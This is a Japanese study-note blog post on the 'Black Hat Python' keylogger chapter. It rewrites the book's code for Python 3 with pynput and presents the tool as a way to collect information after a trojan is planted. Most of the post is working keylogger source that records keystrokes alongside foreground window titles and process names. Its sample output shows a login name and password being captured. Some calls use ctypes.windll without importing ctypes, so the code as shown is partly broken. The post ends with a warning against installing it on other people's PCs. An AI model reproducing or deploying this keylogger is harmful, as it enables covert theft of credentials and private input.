Engineering Note

プログラミングなどの技術的なメモ

8.1 趣味と実益のためのキーロガー (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。 

前回では、トロイの木馬の作成について学びました。

今回は、トロイの木馬設置後の情報収集の一環として、キーロガーの作成方法について学んでいきます。

 

 

キーロガーとは

キーロガー(Key Logger)とは、コンピュータの利用者が入力したキーボードを記録するもので、 ハードウェアタイプソフトウェアタイプの2種類があります。

ハードウェアタイプとは、キーボードとコンピュータの間やキーボード自体に実装されているもので、ソフトウェアタイプとは、OS上でプログラムとして実行されるものを言います。

ユーザがキーボード上で入力したデータを記録することで、クレデンシャルや検索履歴など、様々な情報を入手することが可能です。

大手の金融機関やカスペルスキーなどのセキュリティソフトでは、セキュリティキーボードと呼ばれるソフトウェアキーボードを利用することで、実際のキー入力の履歴を残さないようにするなどの対策が見られます。

 

なお、書籍ではpyHookというライブラリを使用していますが、Python3では動作しないため、今回は以下のpynputというライブラリを使用したいと思います。

 

 

ライブラリのインポートとグローバル変数の定義

以下が今回インポートするライブラリとグローバル変数の定義になります。

 

# key_logger.py
#coding: utf-8

from pynput import keyboard
from ctypes import *
from ctypes.wintypes import *

proc_status = None

 

get_name_by_pid()の作成

PIDからプロセス名を取得する関数を作成します。

 

def get_name_by_pid(pid):
    PROCESS_ALL_ACCESS = 0x1f0fff
    hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if hProcess == 0:
        return None
    buf = ctypes.create_unicode_buffer(1024)
    ret = ctypes.windll.psapi.GetModuleBaseNameW(hProcess, 0, buf, len(buf))
    if ret == 0:
        return None
    return buf.value

 

get_hwnd_n_pid()の作成

フォアグラウンドで動いているウィンドウのPIDを取得する関数を作成します。

 

def get_hwnd_n_pid():
    hwnd = windll.user32.GetForegroundWindow()
    pid = ctypes.c_ulong()
    windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
    return hwnd, pid.value

 

get_window_title()の作成

ウィンドウに表示されているタイトルを取得する関数を作成します。

 

def get_window_title(hwnd, pid):
    length = windll.user32.GetWindowTextLengthW(hwnd)
    buf = create_unicode_buffer(length + 1)
    windll.user32.GetWindowTextW(hwnd, buf, length + 1)
    return buf.value

 

on_press()の作成

キー操作を記録するメイン関数を作成します。

 

def on_press(key):
    global proc_status
    try:
        hwnd, pid = get_hwnd_n_pid()
        pid_name = get_name_by_pid(pid)
        window_title = get_window_title(hwnd, pid)
        if proc_status == window_title:
            pass
        else:
            print("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title))
            proc_status = window_title
        print(key.char, end="")
    except AttributeError:
        if key.name == "shift" or key.name == "alt_l":
            print(" [{}]".format(key.name), end="")
        else:
            print(" [{}]".format(key.name))

 

"shift"と"alt"の入力はわかりやすくするために"[]"で挟むようにしています。

 

on_release()の作成

キーロガーを終了する際に"esc"を入力するようにしています。

 

def on_release(key):
    if key == keyboard.Key.esc:
        return False

 

マルチスレッド処理の作成

以下がマルチスレッド処理を実行する関数になります。

 

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

 

上記のon_press()イベントが発生し、on_release()イベントが発生するまで動作し続けます。

 

動作確認

それでは、上記で作成したスクリプトを実行します。

 

 > python key_logger.py
 pid:9848 [chrome.exe] [新しいタブ - Google Chrome]
 http://localhost/bhp/login.html [enter]
 pid:9848 [chrome.exe] [ログイン画面 - Google Chrome]
 admin [tab]
 pass [tab]
  [enter]

 

ローカルサーバのログイン画面にアクセスし、ユーザ名とパスワードらしきものを入力しているのが確認できました。

 

最後に

今回はpynputを使用したキーロガーの作成方法について学びました。

とても古くからある技術ですが、現在でもトロイの木馬を設置した後によく利用されるようです。

くれぐれも他人のPCに設置してはいけません。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考